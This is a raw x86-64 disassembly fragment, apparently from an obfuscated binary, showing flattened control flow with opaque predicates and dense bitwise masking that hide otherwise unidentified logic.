xor ecx, 0xdb0dddfc
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ebx, eax
not ebx
mov edi, edx
not edi
mov esi, ebx
and esi, 0xd13dd3e3
and eax, 0x2ec22c1c
or eax, esi
or ebx, edi
and edi, 0xd13dd3e3
and edx, 0x2ec22c1c
or edx, edi
xor edx, eax
not ebx
or ebx, edx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x855e3a11
and ecx, ebx
not ebx
and ebx, 0x1562000
and edx, 0x84081a11
or edx, ebx
xor edx, 0x84081a11
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xc76ee3e0
and ecx, 0x38911c1f
or ecx, eax
mov eax, ecx
xor eax, 0xa84a0400
xor ecx, 0x4230d9f1
mov edx, ecx
and edx, 0x15b533af
and eax, 0xea4acc50
or eax, edx
xor eax, 0xea4acc50
or eax, ecx
cmp eax, 0xffffffff
sete al
setne dl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
and dl, bl
and cl, al
or cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor bl, 1
xor cl, 1
mov eax, ecx
or al, bl
xor cl, bl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0xa94a6793
mov ebx, 0x6f8ec947
cmovne ecx, ebx
test al, 1
mov eax, 0xa94a6793
jmp 0x1401a23e8
cmp eax, 0x5629df08
je 0x14018520f
cmp eax, 0x565f0cf5
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x4f0dfe3
and ecx, 0xfb0f201c
or ecx, edx
mov edi, ecx
xor edi, 0x580d2014
mov eax, ecx
xor eax, 0x4f0dfe3
or edi, 0xa702dcc8
mov esi, edi
not esi
mov ebx, eax
or ebx, 0x58fd2337
mov edx, ebx
not edx
and edi, 0xc8a294df
and esi, 0x105d2320
or esi, edi
and ebx, 0xc8a294df
and edx, 0x27004800
or edx, ebx
xor edx, esi
mov ebx, edx
not ebx
and ebx, 0x9f1ede4e
and edx, 0x60e121b1
or edx, ebx
xor edx, 0x381c0287
and eax, 1
xor ecx, 0x4f0dfe2
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5bd3f7d8
and ecx, 0xa42c0827
or ecx, eax
xor ecx, 0xa42c0827
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4fd01d4d
and eax, 0xb02fe2b2
or eax, ecx
mov ecx, eax
xor ecx, 0x2c00145
xor eax, 0x202f8282
and ecx, 0x92c06175
and eax, 0x6d3f9e8a
or eax, ecx
xor eax, 0x92c06175
cmp eax, 0xffffffff
sete r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
xor al, r9b
not al
and al, r9b
or bl, r9b
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, edx
or al, r9b
xor al, 1
xor dl, r9b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
not al
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, 1
xor bl, 1
mov ecx, ebx
or cl, al
xor bl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xeca25bf3
mov edx, 0x9451ab07
cmovne eax, edx
test bl, 1
mov edx, eax
mov ebx, 0xeca25bf3
jmp 0x14018a4c2
cmp eax, 0x1974db8b
je 0x140185224
cmp eax, 0x1997d816
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x20605d18
mov ebx, ecx
and ebx, 0x9a158004
or ebx, edx
xor ebx, 0x9a158004
and ecx, 0x458a22e3
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x458a22e3
and ecx, 0xba75dd1c
or ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xff1a2b1e
mov edx, ecx
and edx, 0xe5d4e1
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x96daf193
and edx, 0x69250e6c
or edx, ebx
mov ebx, edx
xor ebx, 0x22a0433
and edi, 1
xor ecx, 0xfffffffe
or ecx, edi
mov edi, ecx
not edi
and edi, 0xd854ab6c
and ecx, 0x27ab5493
or ecx, edi
mov edi, ecx
xor edi, 0x22aa4413
xor ecx, 0xd854ab6c
xor edx, 0x69c0da8c
mov esi, edx
and esi, 0x9d5533c0
and ebx, 0x62aacc3f
or ebx, esi
or edx, ecx
and ecx, 0x9d5533c0
and edi, 0x62aacc3f
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xf1cc7aeb
and edx, 0xe338514
or edx, ecx
mov ecx, edx
xor ecx, 0xa128410
xor edx, 0x300c70e2
and edx, 0x342d71e6
and ecx, 0xcbd28e19
or ecx, edx
mov edx, ecx
xor edx, 0x2940a0
xor ecx, 0xcbd28e19
mov ebx, ecx
and ebx, 0x34c63957
and edx, 0xcb39c6a8
or edx, ebx
xor edx, 0xcb39c6a8
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov r11d, edx
xor r11b, al
xor al, 1
or al, bl
xor al, 1
or al, r11b
xor al, 1
or dl, bl
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, edx
xor bl, 1
and bl, dl
xor bl, 1
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
and r10b, bl
xor bl, 1
and bl, cl
or bl, r10b
xor r9b, cl
and r9b, cl
xor cl, r8b
xor r9b, 1
xor cl, 1
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
xor bl, 1
mov edx, ecx
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
xor dl, bl
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0xe10b72dc
mov ebx, 0xd56ede22
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0xe10b72dc
jmp 0x1401a26bd
cmp eax, 0x741937d0
je 0x1401853b0
cmp eax, 0x741b92cb
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x8924021
mov edi, ecx
and edi, 0x619254
or edi, edx
xor edi, 0x619254
mov edx, ecx
xor edx, 0x8f3d275
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x74ec562d
and edx, 0x8b13a9d2
or edx, edi
mov edi, edx
xor edi, 0x83e07ba6
and ebx, 0x3b4f7462
and ecx, 0xc4b08b9d
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc4b08b9d
xor edx, 0x7c1f8459
and ebx, edx
xor ecx, 0x3b4f7462
and ecx, edi
or ecx, ebx
xor edx, ecx
test edx, ecx
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, r9d
or bl, al
xor bl, 1
mov edx, ecx
or dl, r8b
xor dl, 1
mov r10d, ebx
and r10b, dl
xor dl, bl
or dl, r10b
and r9b, al
or al, r8b
xor al, 1
and cl, r8b
or cl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x762367b7
mov edi, 0xfbb318f1
cmovne ecx, edi
test bl, 1
mov edx, 0x762367b7
cmovne ecx, edx
test al, 1
cmove ecx, edi
jmp 0x1401a26c0
cmp eax, 0x3d50f722
je 0x1401853c5
cmp eax, 0x3d5695c1
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0x99d2431d
and ebx, edx
not edx
mov edi, edx
and edi, 0xb3a08487
and ecx, 0x4c5f7b78
or ecx, edi
mov edi, ecx
xor edi, 0x8004118
xor ecx, 0x91800005
or ecx, 0x662dbce2
mov esi, ebx
not esi
mov eax, ecx
and eax, 0xf736a6
and edi, 0x99004119
or edi, eax
or ecx, esi
and esi, 0xf736a6
and ebx, 0xff08c959
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xa5d73281
and ecx, 0x5a28cd7e
or ecx, eax
xor ecx, 0x3c05719d
mov eax, ecx
and eax, edx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xbefbf64d
and ecx, 0x410409b2
or ecx, eax
xor ecx, 0x410409b2
setne al
sete r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl cl
mov ebx, ecx
and al, cl
xor cl, r9b
or bl, r9b
xor bl, 1
or bl, cl
xor bl, 1
and dl, r9b
or al, dl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xa36b7657
mov ebx, 0x5309c70c
cmovne edx, ebx
test al, 1
mov eax, 0xa36b7657
cmovne eax, edx
test cl, cl
jmp 0x1401a2f6c
cmp eax, 0x51e6c5f8
je 0x1401854eb
cmp eax, 0x527183bb
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x60800008
mov ebx, ecx
and ebx, 0x1c110206
or ebx, edx
xor ebx, 0x1c110206
and ecx, 0x836efdf1
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xcb13ef05
and ecx, 0x34ec10fa
or ecx, edx
mov ebx, ecx
xor ebx, 0x487d12f4
mov edx, ecx
xor edx, 0xb782ed0b
xor ecx, 0x4552a70e
mov edi, ecx
and edi, edx
and ecx, ebx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0xf2d04a04
and ecx, 0xd2fb5fb
or ecx, edi
and ebx, 0x28762da7
mov edi, edx
and edi, 0xd789d258
or edi, ebx
xor edi, 0x28762da6
and edx, 1
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xa1b4a272
and edx, 0x5e4b5d8d
or edx, ebx
xor edx, 0x5e4b5d8d
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x148ac1
and edx, 0xde484028
or edx, ecx
mov edi, edx
xor edi, 0x1c484008
xor edx, 0x20269354
or ebx, 0xde5ccae9
mov ecx, ebx
not ecx
and edx, 0xe2269374
and edi, 0x1c584889
or edi, edx
and ebx, 0xe2269374
and ecx, 0x1812402
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x21a33516
and ecx, 0xde5ccae9
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x18230ded
and ecx, 0xe7dcf212
or ecx, ebx
xor ecx, 0xe7dcf212
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete bl
cmp eax, 0xa
setl dl
cmp eax, 9
setg r9b
mov eax, r9d
xor al, bl
and al, r9b
and dl, r8b
and r9b, bl
or r9b, dl
xor al, 1
mov r8d, r9d
xor r8b, 1
mov ebx, eax
xor bl, r8b
or al, r8b
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and al, bl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov r11d, eax
xor r11b, 1
mov edx, r8d
and dl, r9b
mov ecx, r11d
and cl, al
mov r10d, r8d
and r10b, dl
xor dl, r8b
or dl, r10b
mov r10d, r11d
and r10b, cl
xor cl, r11b
or cl, r10b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
xor r11b, r8b
or al, r9b
xor al, 1
or al, r11b
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xf4e74c
mov ebx, 0x599802a7
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0xf4e74c
jmp 0x1401a14db
cmp eax, 0xbb566c4
je 0x1401856b3
cmp eax, 0xbd085e5
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x106c3c83
mov ebx, edx
and ebx, 0xe9010028
or ebx, ecx
xor ebx, 0xe9010028
and edx, 0x692c354
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x692c354
and edx, 0xf96d3cab
or edx, ecx
mov ebx, edx
mov edi, edx
xor edi, 0x9975b08d
and edi, edx
not edx
and edx, 0x8403bd72
and ebx, 0x7bfc428d
or ebx, edx
mov r9d, ebx
not r9d
mov edx, ebx
xor edx, 0x8001b000
or edx, 0x668a4f72
mov esi, edx
not esi
mov eax, edi
not eax
mov ecx, edx
and ecx, 0xe3980347
and esi, 0x1865b088
or esi, ecx
or edx, eax
and eax, 0xe3980347
and edi, 0x1c67fcb8
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xced2c14a
and edx, 0x312d3eb5
or edx, eax
mov eax, edx
xor eax, 0x88588c31
and r9d, 1
xor ebx, 0x7bfc428c
or ebx, r9d
mov ecx, ebx
not ecx
xor edx, 0x57a771c6
mov edi, edx
and edi, 0x33a613ce
and eax, 0xcc59ec31
or eax, edi
or edx, ebx
and ebx, 0x33a613ce
and ecx, 0xcc59ec31
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and edx, 0x8fd16644
and eax, 0x702e99bb
or eax, edx
xor eax, 0x8fd16644
sete r10b
setne bl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl dl
mov r8d, edx
xor r8b, bl
xor bl, r10b
and bl, r10b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov ebx, ecx
xor bl, 1
and bl, cl
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
and r9b, bl
xor bl, 1
and bl, dl
or bl, r9b
xor r8b, 1
mov eax, edx
and al, r10b
xor dl, r10b
or dl, al
xor dl, 1
mov eax, r8d
and al, dl
xor dl, r8b
or dl, al
mov ecx, edx
xor cl, 1
mov r8d, ebx
xor r8b, 1
mov r9d, r8d
and r9b, bl
mov eax, edx
and al, cl
mov r10d, r8d
and r10b, r9b
xor r9b, r8b
or r9b, r10b
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov edx, r9d
xor dl, 1
and dl, al
xor al, 1
and al, r9b
or al, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x28ac4d07
mov ebx, 0xbafcbd82
cmovne edx, ebx
test cl, 1
mov ecx, 0x28ac4d07
jmp 0x140195e0e
cmp eax, 0x6d9a1821
je 0x140185808
cmp eax, 0x6dbdc748
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x3ba86fa
mov edx, ebx
and edx, 0xfc457904
or edx, ecx
xor edx, 0xfc457904
mov ecx, ebx
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and edx, 0x43d479d8
and ecx, 0xbc2b8627
or ecx, edx
mov edx, ecx
xor edx, 0x3c210023
and edi, 0x3b63fde8
and ebx, 0xc49c0217
or ebx, edi
mov edi, ebx
xor edi, 0x4100013
xor ecx, 0x43d479d8
xor ebx, 0x3b63fde8
mov esi, ecx
and esi, 0xc3cede0c
and edx, 0x3c3121f3
or edx, esi
or ecx, ebx
and ebx, 0xc3cede0c
and edi, 0x3c3121f3
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x2f6a1ea2
and ecx, 0xd095e15d
or ecx, edx
xor ecx, 0xd095e15d
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x44c9fd8f
mov edi, 0x574a5a62
cmovne ebx, edi
test cl, cl
mov eax, ebx
cmovne eax, edi
test dl, dl
jmp 0x1401a008b
cmp eax, 0x327d0bf0
je 0x140185968
cmp eax, 0x337c1039
jne 0x14016c950
mov eax, 0x35feb813
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x5e438351
je 0x140185ae0
cmp eax, 0x5e832ae8
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x401493d5
and edx, 0xbfeb6c2a
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8b5042a
and edx, 0xf74afbd5
or edx, ecx
mov ebx, edx
xor ebx, 0xb75e6800
xor edx, 0x8001209
and edx, 0x1d0c7a09
mov ecx, ebx
and ecx, 0xe2f385f6
or ecx, edx
mov edx, ecx
xor edx, 0xe2f385f6
mov edi, ecx
xor edi, 0xe109cb04
and edi, edx
and ebx, 0x3fa4ef2
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0x3fa4ef3
and ebx, 0xfc05b10c
or ebx, edi
and edx, 1
xor ecx, 0xe2f385f7
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb89da87c
and ecx, 0x47625783
or ecx, edx
xor ecx, 0x47625783
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xd801cd3c
and edx, 0x27fe32c3
or edx, ecx
xor edx, 0xd801cd3c
setne r9b
sete bl
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg dl
mov eax, edx
xor al, bl
and bl, dl
and r10b, r9b
or r10b, bl
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
and bl, r10b
mov ecx, r10d
xor cl, al
or al, r10b
xor r10b, 1
xor dl, 1
and dl, r10b
or dl, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x66c8b04a
mov ebx, 0xfcd3d1fe
cmovne ecx, ebx
test al, 1
mov eax, 0x66c8b04a
cmovne eax, ecx
test dl, dl
jmp 0x1401a14db
cmp eax, 0x21f6cf33
je 0x140185af5
cmp eax, 0x22878c1b
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x330e1669
mov ecx, ebx
and ecx, 0xccf1e996
or ecx, edx
mov edx, ecx
not edx
and edx, 0x82e4ac2d
and ecx, 0x7d1b53d2
or ecx, edx
mov edx, ecx
xor edx, 0x42140592
xor ecx, 0x31ea8841
and ecx, 0x3debc869
and edx, 0xc2143796
or edx, ecx
xor edx, 0xc2143796
and edi, 0xabe42cbf
and ebx, 0x541bd340
or ebx, edi
xor ebx, 0x541bd340
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
cmp ebx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, edx
or bl, cl
and cl, al
xor al, r8b
xor bl, 1
or bl, al
xor bl, 1
and dl, r8b
or dl, cl
xor dl, bl
mov eax, edx
not al
and al, bl
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0x9fdb565c
mov ebx, 0xd9144caa
cmovne edx, ebx
test al, al
mov eax, 0x9fdb565c
cmove edx, eax
test cl, 1
jmp 0x1401a1f7f
cmp eax, 0x7be8c2cd
je 0x140185bc4
cmp eax, 0x7bfd438a
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x51d86a76
and ebx, ecx
or ecx, 0xae279589
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x9ad8e8da
and edx, 0x41000224
or edx, esi
or ecx, edi
and edi, 0x9ad8e8da
and ebx, 0x65271725
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x87ed8406
and ecx, 0x78127bf9
or ecx, edx
mov edx, ecx
xor edx, 0x29ca118f
mov ebx, ecx
xor ebx, 0x29ca118e
and ebx, edx
xor ecx, 0xd635ee70
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x1a213554
and edx, 0xe5decaab
or edx, ecx
mov edi, edx
xor edi, 0x8190ca00
xor edx, 0xa202050
or ebx, 0xbbb3ead7
mov ecx, ebx
not ecx
or edx, 0x40480520
and edx, 0x6a6a25f3
and edi, 0x9191ca04
or edi, edx
and ebx, 0x6a6a25f3
and ecx, 0x4041008
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x5ac6f9d5
and ecx, 0xa539062a
or ecx, edx
mov edx, ecx
xor edx, 0x6002471
xor ecx, 0xe1640300
and edx, 0x6113473
and ecx, 0xf9eecb8c
or ecx, edx
xor ecx, 0xf9eecb8c
setne r9b
sete r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov edx, r8d
xor dl, cl
and dl, r8b
mov r11d, r10d
xor r11b, r9b
and r11b, r10b
mov esi, r11d
xor sil, 1
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov edi, eax
and dil, bl
xor bl, al
or bl, dil
or al, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
or sil, al
xor al, 1
xor sil, 1
or al, r11b
xor al, 1
mov edx, esi
and dl, al
xor al, sil
or al, dl
mov edx, ecx
xor dl, r10b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x29e94dfe
mov eax, 0x5629df08
cmovne ebx, eax
test cl, 1
mov eax, 0x29e94dfe
jmp 0x1401834a4
cmp eax, 0x45b7fde7
je 0x140185bd9
cmp eax, 0x45ce2846
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
xor ebx, 0x617a495a
and ebx, edx
or edx, 0x9e85b6a5
mov edi, ebx
not edi
mov esi, edx
and esi, 0x5eef6e2e
and ecx, 0x21100150
or ecx, esi
or edx, edi
and edi, 0x5eef6e2e
and ebx, 0xa11091d1
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x9e85b6a5
and edx, 0x617a495a
or edx, ecx
mov ebx, edx
mov ecx, edx
xor ecx, 0x129c24e7
and ecx, edx
not edx
and edx, 0xece7270b
and ebx, 0x1318d8f4
or ebx, edx
mov edi, ebx
xor edi, 0x1318d8f4
mov edx, edi
and edx, 0x129c24e7
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
not edx
and edx, 0xed63db19
and ecx, 0x129c24e6
or ecx, edx
and edi, 1
xor ebx, 0x1318d8f5
or ebx, edi
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, edi
and esi, 0xad5668fb
and ecx, 0x52a99704
or ecx, esi
or edi, ebx
and ebx, 0xad5668fb
and edx, 0x52a99704
or edx, ebx
xor edx, ecx
not edi
or edi, edx
mov ecx, edi
not ecx
and ecx, 0xa78c0140
and edi, 0x5873febf
or edi, ecx
xor edi, 0x5873febf
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
xor dl, 1
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, dl
and dl, cl
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
xor dl, al
xor bl, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xac0e0835
mov ebx, 0x489c07a
cmovne ecx, ebx
test al, 1
mov eax, 0xac0e0835
jmp 0x14019e5fe
cmp eax, 0x6e7a183
je 0x140185d23
cmp eax, 0x70ff40f
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xa0b1e293
and edx, ecx
not ecx
and ecx, 0x80918002
and eax, 0x20206291
or eax, ecx
xor eax, 0x20206291
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xe2505b73
and edx, 0x1dafa48c
or edx, eax
mov ecx, edx
xor ecx, 0xbd1e461f
mov eax, edx
xor eax, 0xbd1e461e
and eax, ecx
xor edx, 0x402088e0
and edx, 0x692888e7
and ecx, 0x96d77718
or ecx, edx
xor ecx, 0x96d77719
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
mov edx, ecx
xor edx, 0x26080b98
and edx, ecx
not ecx
and ecx, 0x9352161f
and eax, 0x6cade9e0
or eax, ecx
mov ecx, eax
xor ecx, 0x80
xor eax, 0x2000218
or eax, 0xd9f7f467
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x7cebdb0f
and ecx, 0x2000090
or ecx, edi
or eax, ebx
and ebx, 0x7cebdb0f
and edx, 0x831424f0
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xe190917
and eax, 0xf1e6f6e8
or eax, ecx
xor eax, 0xd7eefd70
sete al
cmp dword [0x1402656c4], 9
setg cl
mov edx, ecx
xor dl, al
mov ebx, edx
xor bl, cl
and bl, dl
not dl
and dl, al
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ebx
xor al, 1
and al, cl
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x31aeddaf
mov ebx, 0x6749308a
cmovne eax, ebx
test cl, cl
jmp 0x140198f64
cmp eax, 0x6a1fb8e9
je 0x140185e94
cmp eax, 0x6a47f4de
jne 0x14016c950
mov eax, 0xcbf481a0
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x2eef7f5e
je 0x140186063
cmp eax, 0x2f2f8f5e
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0xb901a50
mov ecx, edi
and ecx, 0xc020a003
or ecx, edx
xor ecx, 0xc020a003
mov edx, edi
and edx, 0x344f45ac
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6e3b1ca9
and edx, 0x91c4e356
or edx, ecx
mov ecx, edx
xor ecx, 0xa044100
xor edx, 0x1038609
and edx, 0x51739e0d
and ecx, 0xae8c61f2
or ecx, edx
mov edx, ecx
xor edx, 0x82802072
and ebx, 0xee410853
and edi, 0x11bef7ac
or edi, ebx
mov ebx, edi
xor ebx, 0x1192b228
xor ecx, 0x51739e0d
xor edi, 0xee410853
mov esi, ecx
and esi, 0x2c6c4584
and edx, 0xd393ba7b
or edx, esi
or ecx, edi
and edi, 0x2c6c4584
and ebx, 0xd393ba7b
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xbf61c1bf
and ecx, 0x409e3e40
or ecx, edx
xor ecx, 0x409e3e40
sete r8b
setne r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r11b
mov edx, r11d
xor dl, bl
and dl, r11b
mov eax, r9d
mov r10d, r9d
mov ecx, ebx
or bl, r9b
or r9b, dl
xor al, dl
not al
and al, dl
xor al, 1
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
and r10b, r11b
and cl, r8b
or cl, r10b
xor r11b, r8b
xor bl, 1
or bl, r11b
mov edx, ebx
xor dl, cl
